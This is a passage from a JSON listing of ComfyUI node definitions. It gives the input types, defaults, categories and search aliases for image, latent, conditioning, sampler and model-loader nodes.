"bilinear", "area", "bicubic", "bislerp"]], "scale_by": ["FLOAT", {"default": 1.5, "min": 0.01, "max": 8.0, "step": 0.01}]}}, "input_order": {"required": ["samples", "upscale_method", "scale_by"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentUpscaleBy", "display_name": "Upscale Latent By", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": ["enlarge latent", "resize latent", "scale latent"]}, "LatentFromBatch": {"input": {"required": {"samples": ["LATENT"], "batch_index": ["INT", {"default": 0, "min": -16384, "max": 16384}], "length": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["samples", "batch_index", "length"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentFromBatch", "display_name": "Get Latent From Batch", "description": "", "python_module": "nodes", "category": "model/latent/batch", "output_node": false, "has_intermediate_output": false, "search_aliases": ["select from batch", "pick latent", "batch subset"]}, "RepeatLatentBatch": {"input": {"required": {"samples": ["LATENT"], "amount": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["samples", "amount"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "RepeatLatentBatch", "display_name": "Repeat Latent Batch", "description": "", "python_module": "nodes", "category": "model/latent/batch", "output_node": false, "has_intermediate_output": false, "search_aliases": ["duplicate latent", "clone latent"]}, "SaveImage": {"input": {"required": {"images": ["IMAGE", {"tooltip": "The images to save."}], "filename_prefix": ["STRING", {"default": "ComfyUI", "tooltip": "The prefix for the file to save. This may include formatting information such as %date:yyyy-MM-dd% or %Empty Latent Image.width% to include values from nodes."}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["images", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "name": "SaveImage", "display_name": "Save Image", "description": "Saves the input images to your ComfyUI output directory.", "python_module": "nodes", "category": "image", "output_node": true, "has_intermediate_output": false, "search_aliases": ["save", "save image", "export image", "output image", "write image", "download"], "essentials_category": "Basics"}, "PreviewImage": {"input": {"required": {"images": ["IMAGE"]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["images"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "name": "PreviewImage", "display_name": "Preview Image", "description": "Saves the input images to your ComfyUI output directory.", "python_module": "nodes", "category": "image", "output_node": true, "has_intermediate_output": false, "search_aliases": ["preview", "preview image", "show image", "view image", "display image", "image viewer"], "essentials_category": "Basics"}, "LoadImage": {"input": {"required": {"image": [["example.png"], {"image_upload": true}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "name": "LoadImage", "display_name": "Load Image", "description": "", "python_module": "nodes", "category": "image", "output_node": false, "has_intermediate_output": false, "search_aliases": ["load image", "open image", "import image", "image input", "upload image", "read image", "image loader"], "essentials_category": "Basics"}, "LoadImageMask": {"input": {"required": {"image": [["example.png"], {"image_upload": true}], "channel": [["alpha", "red", "green", "blue"]]}}, "input_order": {"required": ["image", "channel"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "name": "LoadImageMask", "display_name": "Load Image (as Mask)", "description": "", "python_module": "nodes", "category": "image", "output_node": false, "has_intermediate_output": false, "search_aliases": ["import mask", "alpha mask", "channel mask"], "essentials_category": "Image Tools"}, "LoadImageOutput": {"input": {"required": {"image": ["COMBO", {"image_upload": true, "image_folder": "output", "remote": {"route": "/internal/files/output", "refresh_button": true, "control_after_refresh": "first"}}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "name": "LoadImageOutput", "display_name": "Load Image (from Outputs)", "description": "Load an image from the output folder. When the refresh button is clicked, the node will update the image list and automatically select the first image, allowing for easy iteration.", "python_module": "nodes", "category": "image", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["output image", "previous generation"], "essentials_category": "Basics"}, "ImageScale": {"input": {"required": {"image": ["IMAGE"], "upscale_method": [["nearest-exact", "bilinear", "area", "bicubic", "lanczos"]], "width": ["INT", {"default": 512, "min": 0, "max": 16384, "step": 1}], "height": ["INT", {"default": 512, "min": 0, "max": 16384, "step": 1}], "crop": [["disabled", "center"]]}}, "input_order": {"required": ["image", "upscale_method", "width", "height", "crop"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "ImageScale", "display_name": "Upscale Image", "description": "", "python_module": "nodes", "category": "image/upscaling", "output_node": false, "has_intermediate_output": false, "search_aliases": ["resize", "resize image", "scale image", "image resize", "zoom", "zoom in", "change size"], "essentials_category": "Image Tools"}, "ImageScaleBy": {"input": {"required": {"image": ["IMAGE"], "upscale_method": [["nearest-exact", "bilinear", "area", "bicubic", "lanczos"]], "scale_by": ["FLOAT", {"default": 1.0, "min": 0.01, "max": 8.0, "step": 0.01}]}}, "input_order": {"required": ["image", "upscale_method", "scale_by"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "ImageScaleBy", "display_name": "Upscale Image By", "description": "", "python_module": "nodes", "category": "image/upscaling", "output_node": false, "has_intermediate_output": false, "search_aliases": [], "essentials_category": "Image Tools"}, "ImageInvert": {"input": {"required": {"image": ["IMAGE"]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "ImageInvert", "display_name": "Invert Image Colors", "description": "", "python_module": "nodes", "category": "image/color", "output_node": false, "has_intermediate_output": false, "search_aliases": ["reverse colors"], "essentials_category": "Image Tools"}, "ImageBatch": {"input": {"required": {"image1": ["IMAGE"], "image2": ["IMAGE"]}}, "input_order": {"required": ["image1", "image2"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "ImageBatch", "display_name": "Batch Images (DEPRECATED)", "description": "", "python_module": "nodes", "category": "image/batch", "output_node": false, "has_intermediate_output": false, "deprecated": true, "search_aliases": ["combine images", "merge images", "stack images"]}, "ImagePadForOutpaint": {"input": {"required": {"image": ["IMAGE"], "left": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "top": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "right": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "bottom": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "feathering": ["INT", {"default": 40, "min": 0, "max": 16384, "step": 1, "advanced": true}]}}, "input_order": {"required": ["image", "left", "top", "right", "bottom", "feathering"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "name": "ImagePadForOutpaint", "display_name": "Pad Image for Outpainting", "description": "", "python_module": "nodes", "category": "image/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["extend canvas", "expand image"]}, "EmptyImage": {"input": {"required": {"width": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "height": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "color": ["INT", {"default": 0, "min": 0, "max": 16777215, "step": 1, "display": "color"}]}}, "input_order": {"required": ["width", "height", "batch_size", "color"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "EmptyImage", "display_name": "Empty Image", "description": "", "python_module": "nodes", "category": "image", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ConditioningAverage": {"input": {"required": {"conditioning_to": ["CONDITIONING"], "conditioning_from": ["CONDITIONING"], "conditioning_to_strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning_to", "conditioning_from", "conditioning_to_strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningAverage", "display_name": "Conditioning (Average)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["blend prompts", "interpolate conditioning", "mix prompts", "style fusion", "weighted blend"]}, "ConditioningCombine": {"input": {"required": {"conditioning_1": ["CONDITIONING"], "conditioning_2": ["CONDITIONING"]}}, "input_order": {"required": ["conditioning_1", "conditioning_2"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningCombine", "display_name": "Conditioning (Combine)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["combine", "merge conditioning", "combine prompts", "merge prompts", "mix prompts", "add prompt"], "essentials_category": "Image Generation"}, "ConditioningConcat": {"input": {"required": {"conditioning_to": ["CONDITIONING"], "conditioning_from": ["CONDITIONING"]}}, "input_order": {"required": ["conditioning_to", "conditioning_from"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningConcat", "display_name": "Conditioning (Concat)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ConditioningSetArea": {"input": {"required": {"conditioning": ["CONDITIONING"], "width": ["INT", {"default": 64, "min": 64, "max": 16384, "step": 8}], "height": ["INT", {"default": 64, "min": 64, "max": 16384, "step": 8}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "width", "height", "x", "y", "strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetArea", "display_name": "Conditioning (Set Area)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["regional prompt", "area prompt", "spatial conditioning", "localized prompt"]}, "ConditioningSetAreaPercentage": {"input": {"required": {"conditioning": ["CONDITIONING"], "width": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}], "height": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}], "x": ["FLOAT", {"default": 0, "min": 0, "max": 1.0, "step": 0.01}], "y": ["FLOAT", {"default": 0, "min": 0, "max": 1.0, "step": 0.01}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "width", "height", "x", "y", "strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetAreaPercentage", "display_name": "Conditioning (Set Area with Percentage)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ConditioningSetAreaStrength": {"input": {"required": {"conditioning": ["CONDITIONING"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetAreaStrength", "display_name": "Conditioning (Set Area Strength)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ConditioningSetMask": {"input": {"required": {"conditioning": ["CONDITIONING"], "mask": ["MASK"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "set_cond_area": [["default", "mask bounds"]]}}, "input_order": {"required": ["conditioning", "mask", "strength", "set_cond_area"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetMask", "display_name": "Conditioning (Set Mask)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["masked prompt", "regional inpaint conditioning", "mask conditioning"]}, "KSamplerAdvanced": {"input": {"required": {"model": ["MODEL"], "add_noise": [["enable", "disable"], {"advanced": true}], "noise_seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "cfg": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "sampler_name": [["euler", "euler_cfg_pp", "euler_ancestral", "euler_ancestral_cfg_pp", "heun", "heunpp2", "exp_heun_2_x0", "exp_heun_2_x0_sde", "dpm_2", "dpm_2_ancestral", "lms", "dpm_fast", "dpm_adaptive", "dpmpp_2s_ancestral", "dpmpp_2s_ancestral_cfg_pp", "dpmpp_sde", "dpmpp_sde_gpu", "dpmpp_2m", "dpmpp_2m_cfg_pp", "dpmpp_2m_sde", "dpmpp_2m_sde_gpu", "dpmpp_2m_sde_heun", "dpmpp_2m_sde_heun_gpu", "dpmpp_3m_sde", "dpmpp_3m_sde_gpu", "ddpm", "lcm", "ipndm", "ipndm_v", "deis", "res_multistep", "res_multistep_cfg_pp", "res_multistep_ancestral", "res_multistep_ancestral_cfg_pp", "gradient_estimation", "gradient_estimation_cfg_pp", "er_sde", "seeds_2", "seeds_3", "sa_solver", "sa_solver_pece", "ddim", "uni_pc", "uni_pc_bh2"]], "scheduler": [["simple", "sgm_uniform", "karras", "exponential", "ddim_uniform", "beta", "normal", "linear_quadratic", "kl_optimal"]], "positive": ["CONDITIONING"], "negative": ["CONDITIONING"], "latent_image": ["LATENT"], "start_at_step": ["INT", {"default": 0, "min": 0, "max": 10000, "advanced": true}], "end_at_step": ["INT", {"default": 10000, "min": 0, "max": 10000, "advanced": true}], "return_with_leftover_noise": [["disable", "enable"], {"advanced": true}]}}, "input_order": {"required": ["model", "add_noise", "noise_seed", "steps", "cfg", "sampler_name", "scheduler", "positive", "negative", "latent_image", "start_at_step", "end_at_step", "return_with_leftover_noise"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "KSamplerAdvanced", "display_name": "KSampler (Advanced)", "description": "", "python_module": "nodes", "category": "model/sampling", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "SetLatentNoiseMask": {"input": {"required": {"samples": ["LATENT"], "mask": ["MASK"]}}, "input_order": {"required": ["samples", "mask"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "SetLatentNoiseMask", "display_name": "Set Latent Noise Mask", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "LatentComposite": {"input": {"required": {"samples_to": ["LATENT"], "samples_from": ["LATENT"], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "feather": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}]}}, "input_order": {"required": ["samples_to", "samples_from", "x", "y", "feather"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentComposite", "display_name": "Latent Composite", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": ["overlay latent", "layer latent", "paste latent"]}, "LatentBlend": {"input": {"required": {"samples1": ["LATENT"], "samples2": ["LATENT"], "blend_factor": ["FLOAT", {"default": 0.5, "min": 0, "max": 1, "step": 0.01}]}}, "input_order": {"required": ["samples1", "samples2", "blend_factor"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentBlend", "display_name": "Latent Blend", "description": "", "python_module": "nodes", "category": "experimental", "output_node": false, "has_intermediate_output": false, "search_aliases": ["mix latents", "interpolate latents"]}, "LatentRotate": {"input": {"required": {"samples": ["LATENT"], "rotation": [["none", "90 degrees", "180 degrees", "270 degrees"]]}}, "input_order": {"required": ["samples", "rotation"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentRotate", "display_name": "Rotate Latent", "description": "", "python_module": "nodes", "category": "model/latent/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "LatentFlip": {"input": {"required": {"samples": ["LATENT"], "flip_method": [["x-axis: vertically", "y-axis: horizontally"]]}}, "input_order": {"required": ["samples", "flip_method"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentFlip", "display_name": "Flip Latent", "description": "", "python_module": "nodes", "category": "model/latent/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["mirror latent"]}, "LatentCrop": {"input": {"required": {"samples": ["LATENT"], "width": ["INT", {"default": 512, "min": 64, "max": 16384, "step": 8}], "height": ["INT", {"default": 512, "min": 64, "max": 16384, "step": 8}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}]}}, "input_order": {"required": ["samples", "width", "height", "x", "y"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentCrop", "display_name": "Crop Latent", "description": "", "python_module": "nodes", "category": "model/latent/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["trim latent", "cut latent"]}, "LoraLoader": {"input": {"required": {"model": ["MODEL", {"tooltip": "The diffusion model the LoRA will be applied to."}], "clip": ["CLIP", {"tooltip": "The CLIP model the LoRA will be applied to."}], "lora_name": [[], {"tooltip": "The name of the LoRA."}], "strength_model": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01, "tooltip": "How strongly to modify the diffusion model. This value can be negative."}], "strength_clip": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01, "tooltip": "How strongly to modify the CLIP model. This value can be negative."}]}}, "input_order": {"required": ["model", "clip", "lora_name", "strength_model", "strength_clip"]}, "is_input_list": false, "output": ["MODEL", "CLIP"], "output_is_list": [false, false], "output_name": ["MODEL", "CLIP"], "name": "LoraLoader", "display_name": "Load LoRA (Model and CLIP)", "description": "This LoRA loader is used to modify both diffusion and CLIP models, altering the way in which latents are denoised such as applying styles. Multiple LoRA nodes can be linked together.", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The modified diffusion model.", "The modified CLIP model."], "search_aliases": ["lora", "load lora", "apply lora", "lora loader", "lora model"], "essentials_category": "Image Generation"}, "CLIPLoader": {"input": {"required": {"clip_name": [["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "type": [["stable_diffusion", "stable_cascade", "sd3", "stable_audio", "mochi", "ltxv", "pixart", "cosmos", "lumina2", "wan", "hidream", "chroma", "ace", "omnigen2", "qwen_image", "hunyuan_image", "flux2", "ovis", "longcat_image", "cogvideox", "lens", "pixeldit", "ideogram4", "boogu", "krea2"]]}, "optional": {"device": [["default", "cpu"], {"advanced": true}]}}, "input_order": {"required": ["clip_name", "type"], "optional": ["device"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPLoader", "display_name": "Load CLIP", "description": "Recipes:\nsd: clip-l\nstable cascade: clip-g\nsd3: t5 xxl / clip-g / clip-l\nstable audio: t5 base\nmochi: t5 xxl\ncogvideox: t5 xxl (226-token padding)\ncosmos: old t5 xxl\nlumina2: gemma 2 2B\nwan: umt5 xxl\nhidream: llama-3.1 (Recommend) or t5\nomnigen2: qwen vl 2.5 3B\nlens: gpt-oss-20b\npixeldit: gemma 2 2B elm", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "UNETLoader": {"input": {"required": {"unet_name": [["_raw/flux1-schnell-fp8.safetensors", "_raw/split_files/diffusion_models/qwen_image_fp8_e4m3fn.safetensors", "_raw/split_files/diffusion_models/qwen_image_nvfp4.safetensors", "flux1-schnell-fp8.safetensors", "qwen_image_fp8_e4m3fn.safetensors", "qwen_image_nvfp4.safetensors"]], "weight_dtype": [["default", "fp8_e4m3fn", "fp8_e4m3fn_fast", "fp8_e5m2"], {"advanced": true}]}}, "input_order": {"required": ["unet_name", "weight_dtype"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "UNETLoader", "display_name": "Load Diffusion Model", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "DualCLIPLoader": {"input": {"required": {"clip_name1": [["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name2": [["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "type": [["sdxl", "sd3", "flux", "hunyuan_video", "hidream", "hunyuan_image", "hunyuan_video_15", "kandinsky5", "kandinsky5_image", "ltxv", "newbie", "ace"]]}, "optional": {"device": [["default", "cpu"], {"advanced": true}]}}, "input_order": {"required": ["clip_name1", "clip_name2", "type"], "optional": ["device"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "DualCLIPLoader", "display_name": "Load CLIP (Dual)", "description": "Recipes:\nsdxl: clip-l, clip-g\nsd3: clip-l, clip-g / clip-l, t5 / clip-g, t5\nflux: clip-l, t5\nhidream: at least one of t5 or llama, recommended t5 and llama\nhunyuan_image: qwen2.5vl 7b and byt5 small\nnewbie: gemma-3-4b-it, jina clip v2", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CLIPVisionEncode": {"input": {"required": {"clip_vision": ["CLIP_VISION"], "image": ["IMAGE"], "crop": [["center", "none"]]}}, "input_order": {"required": ["clip_vision", "image", "crop"]}, "is_input_list": false, "output": ["CLIP_VISION_OUTPUT"], "output_is_list": [false], "output_name": ["CLIP_VISION_OUTPUT"], "name": "CLIPVisionEncode", "display_name": "CLIP Vision Encode", "description": "", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "StyleModelApply": {"input": {"required": {"conditioning": ["CONDITIONING"], "style_model": ["STYLE_MODEL"], "clip_vision_output": ["CLIP_VISION_OUTPUT"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.001}], "strength_type": [["multiply", "attn_bias"]]}}, "input_order": {"required": ["conditioning", "style_model", "clip_vision_output", "strength", "strength_type"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "StyleModelApply", "display_name": "Apply Style Model", "description": "", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "search_aliases": ["style transfer"]}, "unCLIPConditioning": {"input": {"required": {"conditioning": ["CONDITIONING"], "clip_vision_output": ["CLIP_VISION_OUTPUT"], "strength": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}], "noise_augmentation": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "clip_vision_output", "strength", "noise_augmentation"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "unCLIPConditioning", "display_name": "unCLIPConditioning", "description": "", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ControlNetApply": {"input": {"required": {"conditioning": ["CONDITIONING"], "control_net": ["CONTROL_NET"], "image": ["IMAGE"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "control_net", "image", "strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ControlNetApply", "display_name": "Apply ControlNet (DEPRECATED)", "description": "", "python_module": "nodes", "category": "model/conditioning/controlnet", "output_node": false, "has_intermediate_output": false, "deprecated": true, "search_aliases": []}, "ControlNetApplyAdvanced": {"input": {"required": {"positive": ["CONDITIONING"], "negative": ["CONDITIONING"], "control_net": ["CONTROL_NET"], "image": ["IMAGE"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}, "optional": {"vae": ["VAE"]}}, "input_order": {"required": ["positive", "negative", "control_net", "image", "strength", "start_percent", "end_percent"], "optional": ["vae"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "name": "ControlNetApplyAdvanced", "display_name": "Apply ControlNet", "description": "", "python_module": "nodes", "category": "model/conditioning/controlnet", "output_node": false, "has_intermediate_output": false, "search_aliases": ["controlnet", "apply controlnet", "use controlnet", "control net"]}, "ControlNetLoader": {"input": {"required": {"control_net_name": [[]]}}, "input_order": {"required": ["control_net_name"]}, "is_input_list": false, "output": ["CONTROL_NET"], "output_is_list": [false], "output_name": ["CONTROL_NET"], "name": "ControlNetLoader", "display_name": "Load ControlNet Model", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": ["controlnet", "control net", "cn", "load controlnet", "controlnet loader"]}, "DiffControlNetLoader": {"input": {"required": {"model": ["MODEL"], "control_net_name": [[]]}}, "input_order": {"required": ["model", "control_net_name"]}, "is_input_list": false, "output": ["CONTROL_NET"], "output_is_list": [false], "output_name": ["CONTROL_NET"], "name": "DiffControlNetLoader", "display_name": "Load ControlNet Model (diff)", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "StyleModelLoader": {"input": {"required": {"style_model_name": [[]]}}, "input_order": {"required": ["style_model_name"]}, "is_input_list": false, "output": ["STYLE_MODEL"], "output_is_list": [false], "output_name": ["STYLE_MODEL"], "name": "StyleModelLoader", "display_name": "Load Style Model", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CLIPVisionLoader": {"input": {"required": {"clip_name": [[]]}}, "input_order": {"required": ["clip_name"]}, "is_input_list": false, "output": ["CLIP_VISION"], "output_is_list": [false], "output_name": ["CLIP_VISION"], "name": "CLIPVisionLoader", "display_name": "Load CLIP Vision", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VAEDecodeTiled": {"input": {"required": {"samples": ["LATENT"], "vae": ["VAE"], "tile_size": ["INT", {"default": 512, "min": 64, "max": 4096, "step": 32, "advanced": true}], "overlap": ["INT", {"default": 64, "min": 0, "max": 4096, "step": 32, "advanced": true}], "temporal_size": ["INT", {"default": 64, "min": 8, "max": 4096, "step": 4, "tooltip": "Only used for video VAEs: Amount of frames to decode at a time.", "advanced": true}], "temporal_overlap": ["INT", {"default": 8, "min": 4, "max": 4096, "step": 4, "tooltip": "Only used for video VAEs: Amount of frames to overlap.", "advanced": true}]}}, "input_order": {"required": ["samples", "vae", "tile_size", "overlap", "temporal_size", "temporal_overlap"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "VAEDecodeTiled", "display_name": "VAE Decode (Tiled)", "description": "", "python_module": "nodes", "category": "experimental", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VAEEncodeTiled": {"input": {"required": {"pixels": ["IMAGE"], "vae": ["VAE"], "tile_size": ["INT", {"default": 512, "min": 64, "max": 4096, "step": 64, "advanced": true}], "overlap": ["INT", {"default": 64, "min": 0, "max": 4096, "step": 32, "advanced": true}], "temporal_size": ["INT", {"default": 64, "min": 8, "max": 4096, "step": 4, "tooltip": "Only used for video VAEs: Amount of frames to encode at a time.", "advanced": true}], "temporal_overlap": ["INT", {"default": 8, "min": 4, "max": 4096, "step": 4, "tooltip": "Only used for video VAEs: Amount of frames to overlap.", "advanced": true}]}}, "input_order": {"required": ["pixels", "vae", "tile_size", "overlap", "temporal_size", "temporal_overlap"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "VAEEncodeTiled", "display_name": "VAE Encode (Tiled)", "description": "", "python_module": "nodes", "category": "experimental", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "unCLIPCheckpointLoader": {"input": {"required": {"ckpt_name": [[]]}}, "input_order": {"required": ["ckpt_name"]}, "is_input_list": false, "output": ["MODEL", "CLIP", "VAE", "CLIP_VISION"], "output_is_list": [false, false, false, false], "output_name": ["MODEL", "CLIP", "VAE", "CLIP_VISION"], "name": "unCLIPCheckpointLoader", "display_name": "Load unCLIP Checkpoint", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "GLIGENLoader": {"input": {"required": {"gligen_name": [[]]}}, "input_order": {"required": ["gligen_name"]}, "is_input_list": false, "output": ["GLIGEN"], "output_is_list": [false], "output_name": ["GLIGEN"], "name": "GLIGENLoader", "display_name": "Load GLIGEN Model", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "GLIGENTextBoxApply": {"input": {"required": {"conditioning_to": 